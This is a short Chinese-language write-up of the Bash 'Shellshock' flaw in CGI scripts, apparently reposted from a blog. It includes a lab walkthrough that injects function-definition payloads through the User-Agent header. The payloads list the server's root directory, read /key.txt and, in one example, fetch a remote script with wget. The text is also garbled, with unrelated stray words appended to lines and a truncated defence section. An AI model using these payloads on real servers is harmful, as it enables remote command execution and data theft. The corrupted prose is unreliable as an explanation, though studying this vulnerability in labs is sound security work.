漏洞描述:Bash脚本在解析某些特殊字符串时出现逻辑错误致使能够执行后面的命令,在一些cgi脚本中,数据是经过环境变量来传递的,这样就会造成该漏洞shell
漏洞原理:bash经过以函数名做为环境变量名,以“(){”(bash只有在遇到特殊的环境变量才会触发该漏洞)开头的字串做为环境变量的值来将函数定义导出为环境变量。而该漏洞就在于BASH处理这样的“函数环境变量”的时候,并无以函数结尾“}”为结束,而是一直执行其后的shell命令。 好比:(){:;};wget http://127.0.0.1/test.sh 服务器在处理这个请求的时候,会执行wget命令,就会把这个test.sh下载下来bash
漏洞攻击:抓包修改user-agent内容服务器
漏洞防护:升级版本:函数
示例:在一个靶场复现该漏洞网站
第一种方法:spa
这是一个存在该漏洞的网站,咱们须要去找一下有cgi的页面,以下图:3d
抓包,将User-Agent的改为 () { :;}; echo; /bin/ls /
blog
"/bin/ls /"是调用ls查看全部文件字符串
查看key.txt:() { :;}; echo; /bin/cat /key.txt,成功获得keyget